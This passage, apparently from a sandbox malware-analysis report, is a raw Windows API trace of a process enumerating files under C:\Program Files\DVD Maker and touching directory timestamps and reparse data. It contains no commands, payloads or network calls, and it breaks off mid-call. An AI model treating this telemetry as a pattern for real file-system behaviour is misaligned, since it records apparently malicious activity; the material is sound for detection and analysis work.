DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x929260, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x929260, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0244.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929260) returned 1 [0244.998] NtClose (Handle=0x1a8) returned 0x0 [0244.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926488 [0244.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926510 [0244.998] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0244.998] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.998] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0244.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0244.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0244.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0244.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0244.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0244.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920950 [0244.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926620 [0244.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0244.998] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0244.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0244.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0244.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0244.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0244.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0244.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920970 [0244.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9266a8 [0244.999] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0244.999] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0244.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0244.999] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0244.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0244.999] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0244.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0244.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920990 [0244.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926730 [0244.999] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0244.999] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0244.999] GetLastError () returned 0x12 [0244.999] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd660 [0244.999] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0244.999] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.999] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0244.999] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0244.999] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0244.999] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0244.999] GetLastError () returned 0x12 [0245.000] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926510) returned 1 [0245.000] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.000] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926488) returned 1 [0245.000] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0245.000] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0245.000] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0245.000] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb99a750, ftCreationTime.dwHighDateTime=0x1d550a1, ftLastAccessTime.dwLowDateTime=0x95a455b0, ftLastAccessTime.dwHighDateTime=0x1d58e5f, ftLastWriteTime.dwLowDateTime=0x95a455b0, ftLastWriteTime.dwHighDateTime=0x1d58e5f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxslipstream.exe", cAlternateFileName="")) returned 1 [0245.000] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0245.000] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0245.000] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0245.000] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0245.000] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0245.000] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae41910, ftCreationTime.dwHighDateTime=0x1d56ee3, ftLastAccessTime.dwLowDateTime=0xd069a940, ftLastAccessTime.dwHighDateTime=0x1d56e8c, ftLastWriteTime.dwLowDateTime=0xd069a940, ftLastWriteTime.dwHighDateTime=0x1d56e8c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="radio_move_getting.exe", cAlternateFileName="")) returned 1 [0245.000] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0245.000] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0245.000] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0402f20, ftCreationTime.dwHighDateTime=0x1d59b6b, ftLastAccessTime.dwLowDateTime=0x48e72770, ftLastAccessTime.dwHighDateTime=0x1d54418, ftLastWriteTime.dwLowDateTime=0x48e72770, ftLastWriteTime.dwHighDateTime=0x1d54418, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="")) returned 1 [0245.000] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0245.000] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0245.000] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0245.000] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared" (normalized: "c:\\program files\\dvd maker\\shared"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.000] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared" (normalized: "c:\\program files\\dvd maker\\shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0245.001] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0245.001] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x929260 [0245.001] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x929260, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x929260, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0245.001] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929260) returned 1 [0245.001] NtClose (Handle=0x1c0) returned 0x0 [0245.001] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0245.001] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0245.001] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926488 [0245.001] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926510 [0245.001] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd660 [0245.006] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.006] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0245.006] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.006] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.006] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.006] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.006] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.006] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9209b0 [0245.006] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9267b8 [0245.006] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.006] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0245.006] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.006] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.006] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.006] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.006] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.006] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9209d0 [0245.006] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926840 [0245.007] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.007] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0245.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.007] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.007] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9209f0 [0245.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9268c8 [0245.007] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.007] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="")) returned 1 [0245.007] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0245.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.007] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.007] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920a10 [0245.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, 